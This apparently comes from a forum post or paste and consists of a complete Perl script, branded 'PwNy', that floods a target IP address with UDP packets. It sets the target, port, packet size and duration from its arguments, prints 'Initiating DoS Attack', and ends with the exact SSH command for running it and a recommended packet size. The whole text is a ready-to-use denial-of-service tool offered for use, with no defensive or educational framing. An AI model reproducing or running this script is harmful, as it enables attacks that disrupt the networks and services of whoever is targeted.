create a test.pl file with as content:

#!/usr/bin/perl

##
# PwNy<----
##

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print <<EOTEXT;
PwNy
**    **   **  
/**////**    /**  /**////**    
/**   /**  **  ** /**  /**    /**  **   **  
/**  **///**//**//* /**  /**    /** **////** **////  
/**////  /** /** /  /**  /**    /**/**   /**//**  
/**  /**////  /**    /**  /**    ** /**   /** //**  
/**  //**/***    ***  /**  //**  **  
//  // ///    ///   //    //  //  

EOTEXT

print "Initiating DoS Attack on $ip " . ($port ? $port : "random") . " we're hitting that port with " .
  ($size ? "$size-byte" : "...-_-...") . " Packets Per Second. " .
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}





Command to run in SSH: perl test.pl {IP} {PORT} {SIZE (50 recommend)} {TIME}